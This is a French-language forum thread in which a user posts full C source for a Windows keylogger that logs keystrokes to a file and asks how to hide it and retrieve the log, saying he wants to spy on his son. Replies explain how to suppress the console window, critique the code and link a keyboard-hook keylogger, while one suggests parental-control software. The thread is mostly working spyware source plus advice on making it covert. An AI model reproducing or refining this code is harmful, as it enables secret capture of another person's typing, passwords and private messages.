Keylogger

rebelattack Messages postés 11 Date d'inscription mardi 18 mars 2008 Statut Membre Dernière intervention 10 novembre 2009 - 19 mars 2008 à 13:33
SAKingdom Messages postés 3212 Date d'inscription lundi 7 novembre 2005 Statut Membre Dernière intervention 16 février 2009 - 20 mars 2008 à 18:40
Bonjour, je souhaiterais surveillé les activité de mon fils sur le net, pour cela j'ai pensé a un keylogger. J'ai récupperé un code C sur votre site :
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);


int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];


int main(int argc, char *argv[])
{
  int i, lettre, result, lastresult, lastletter, compteur;
 
 GetCurrentDirectory(256, fichier);
 strcat(fichier,"[file://\\capture.txt \\capture.txt]");
 sortie = fopen(fichier,"a+");
 result=0;
 compteur=0;    //on initialise
 lastresult=0;
 i=0;
 
 while ( i==0 ) { //boucle sans fin
 lettre=13;
 for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
  
  
  
   //passer les caractères inutiles
   if ( lettre==14 ) lettre=20;
   if ( lettre==21 ) lettre=32;
   if ( lettre==33 ) lettre=48;
   if ( lettre==58 ) lettre=65;
   if ( lettre==91 ) lettre=96;
   if ( lettre==108 ) lettre=109;
   if ( lettre==112 ) lettre=186;
   if ( lettre==189 ) lettre=190;
   if ( lettre==193 ) lettre=219;
   if ( lettre==220 ) lettre=221;
   if ( lettre==222 ) lettre=223;
  
   result=GetKeyState(lettre);
 
  //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
   if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
   if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
  


  
   if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
    {
   TraiterLettre(lettre); //je ne sais plus trop mais ça marche
   lastresult=result;
   lastletter=lettre;
   lettre=13; sleep(50);
   }
  
 } //fin de test des lettres
    sleep(1);
 } //fin de la boucle sans fin
 
  return 0;
}




int ismaj() {
   
    if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
    return 1;
     else return 0;
    }




int ismajpressed() {
    int result;
   
    result=GetKeyState(VK_SHIFT );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }
   


int isalt() {
    int result;
   
    result=GetKeyState(VK_MENU );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }




void TraiterLettre(int lettre) {
     char towrite; //la lettre que l'on va écrire dans la console
     static int compteur = 0;
    
     //traitement des chiffres ( un décalage )
     if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
   
     //Les lettres sont envoyées comme majuscules, il faut faire un décalage
     else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
    
     //Sinon on écrit telle quelle la lettre
     else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
    
     else switch ( lettre ) {
          case 32 : if ( isalt() ) towrite=' ';
           else towrite=' ';
                break;
          case 48 : if ( isalt() ) [mailto:towrite='@' towrite='@'];
           else towrite='à';
               break;
          case 49 : towrite='&';
               break;
          case 50 : towrite='é';
               break;
          case 51 : if ( isalt() ) towrite='#';
           else towrite='"';
               break;
          case 52 : if ( isalt() ) towrite='{';
           else towrite=39; // '
               break;
          case 53 : if ( isalt() ) towrite='[';
           else towrite='(';
               break;
          case 54 : if ( isalt() ) towrite='|';
           else towrite='-';
               break;
          case 55 : towrite='è';
               break;
          case 56 : if ( isalt() ) towrite='\\';
           else towrite='_';
               break;
          case 57 : towrite='ç';
               break;
          case 219 : if ( isalt() ) towrite=']';
           else towrite=')';
               break;
           case 187 : if ( isalt() ) towrite='}';
            else towrite='=';
               break;
           case 186 : towrite='$';
               break;
           case 192 : towrite='%';
               break;
           case 188 : if ( ismaj() ) towrite='?';
            else towrite=',';
               break;   
           case 190 : if ( ismaj() ) towrite='.';
            else towrite=';';
               break;
           case 191 : if ( ismaj() ) towrite='/';
            else towrite=':';
               break;
           case 223 : towrite='!';
               break;
           case 111 : towrite='/';
               break;
           case 106 : towrite='*';
               break;
           case 109 : towrite='-';
               break;        
           case 107 : towrite='+';
               break;
           case 110 : towrite='.';
               break;    
          }
    
     // On affiche les lettres. exception : la touche entrée
     if ( lettre==13 ) fprintf(sortie,"\n");
     else fprintf(sortie,"%c",towrite);
     compteur++;
     if ( compteur==2 ) {
        fclose(sortie);
        fopen(fichier,"a");
        compteur=0;
        }
     }

Je l'ai compiler avec Dev C++, et je l'ai lancé, il fonctionne très bien mais le seule problème c'est que la fenetre est apparente. Donc j'ai cherché un autre code pour masquer l'appli le voici (trouver sur ce site également ):

begin
  Application.Initialize;
  // Code a Rajouter
  Application.ShowMainForm := false; {:= true pour la montrer}
 // Fin du code a rajouter
  Application.Title := 'Mon Application';
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

Le problème c'est que je ne sais pas comment faire pour assembler les deux codes. Et comment puis je récupérer le fichier texte pour l'envoyer sur mon ordinnateur ?
Merci de vos réponse.


By rebelattack

9 réponses

cali70 Messages postés 71 Date d'inscription mercredi 29 septembre 2004 Statut Membre Dernière intervention 19 mars 2008
19 mars 2008 à 14:10
begin
  Application.Initialize;
  // Code a Rajouter
  Application.ShowMainForm := false; {:= true pour la montrer}
 // Fin du code a rajouter
  Application.Title := 'Mon Application';
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

C'est du Delphi ca... et ton KeyLogger c'est du C! Ces deux codes ne sont pas compatibles, de plus il te faudrait un IDE Borland pour le compiler. Cherche un autre code car tu ne pouras pas les assembler.
0
Pistol_Pete Messages postés 1053 Date d'inscription samedi 2 octobre 2004 Statut Membre Dernière intervention 9 juillet 2013 7
19 mars 2008 à 14:21
Salut

Si tu veux faire disparaitre la console, il faut creer un projet WIN32 application et non pas WIN32 console application et remplacer le main par ceci:

int WINAPI WinMain(       HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine,int nCmdShow);

Cependant, tu ne pourras plus fermer ton programme => obliger de passer par le task manager

A+
Mon site internet : http://pistol.petesampras.free.fr
0
DeAtHCrAsH Messages postés 2670 Date d'inscription vendredi 25 janvier 2002 Statut Membre Dernière intervention 6 février 2013
19 mars 2008 à 15:49
Salut,
Plutot que de te casser les pieds pourquoi ne télécharge tu pas un logiciel de controle parental genre FreeAngel.
Pour ce qui est du keylogger il y en a plein sur ce site pret à etre compilé.

Shell
0
SAKingdom Messages postés 3212 Date d'inscription lundi 7 novembre 2005 Statut Membre Dernière intervention 16 février 2009 15
19 mars 2008 à 15:52
 for ( lettre==13 ; lettre<256 ; lettre++ )

Incorrect. La première section d'un for initialise la variable. Elle ne la compare pas.

if ( lettre==14 ) lettre=20;
   if ( lettre==21 ) lettre=32;
   if ( lettre==33 ) lettre=48;
   if ( lettre==58 ) lettre=65;
   if ( lettre==91 ) lettre=96;
   if ( lettre==108 ) lettre=109;
   if ( lettre==112 ) lettre=186;
   if ( lettre==189 ) lettre=190;
   if ( lettre==193 ) lettre=219;
   if ( lettre==220 ) lettre=221;
   if ( lettre==222 ) lettre=223;

À remplacer par switch case. S'avèrera beaucoup plus performant dans ce cas ci.

Ensuite, je me trompe peut-être, mais il me semble que pour faire un keylogger, il faut au minimum hooker le clavier. Je ne vois aucun hook dans ton code.

Finalement, tu utilises des fonctions de la console un peut partout dans ton code. Pas très discret ça. Ok pour cacher la console mais tu ne récupèrera jamais les informations interceptées par le programme. Il faudrait tout écrire dans un fichier.

Il existe des exemples de keylogger plus poussés et simple sur cppfrance.
Ceci par exemple:
http://www.cppfrance.com/codes/HOOK-GLOBAL-SANS-DLL_27169.aspx
Excellent exemple.

C++ (@++)<!--
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Pistol_Pete Messages postés 1053 Date d'inscription samedi 2 octobre 2004 Statut Membre Dernière intervention 9 juillet 2013 7
19 mars 2008 à 16:06
>>SAKingdom
Dans cet exemple il n'ecrit rien dans la console mais tout dans le fichier "sortie".  (fprintf)

Sinon, je suis d'accort avec toi pour les autres remarques

A+
Mon site internet : http://pistol.petesampras.free.fr
0
SAKingdom Messages postés 3212 Date d'inscription lundi 7 novembre 2005 Statut Membre Dernière intervention 16 février 2009 15
19 mars 2008 à 16:19
Ah oups oui c'est vrai.

C++ (@++)<!--
0
rebelattack Messages postés 11 Date d'inscription mardi 18 mars 2008 Statut Membre Dernière intervention 10 novembre 2009
20 mars 2008 à 15:44
Alors c'est quoi le code finale ? Pour répondre a votre question pourquoi je nb'installe pas un controle parental ? parce que soit je m'aperçois qu'il le désinstalle soit il crake le mot de passe.

By rebelattack
0
SAKingdom Messages postés 3212 Date d'inscription lundi 7 novembre 2005 Statut Membre Dernière intervention 16 février 2009 15
20 mars 2008 à 16:16
Je n'arrive pas à comprendre comment ce code pourrait fonctionner. Il ne hook absolument rien.

Le mieux, je crois, serait de prendre le code que je t'ai donné en exemple plus haut et de recommencer à partir de là.

C++ (@++)<!--
0
SAKingdom Messages postés 3212 Date d'inscription lundi 7 novembre 2005 Statut Membre Dernière intervention 16 février 2009 15
20 mars 2008 à 18:40
Petite précision.
Quand j'écris : "prendre le code que je t'ai donné en exemple plus haut", je parle du code source à l'adresse que j'ai donné plus haut.
http://www.cppfrance.com/codes/HOOK-GLOBAL-SANS-DLL_27169.aspx

C++ (@++)<!--
0
Rejoignez-nous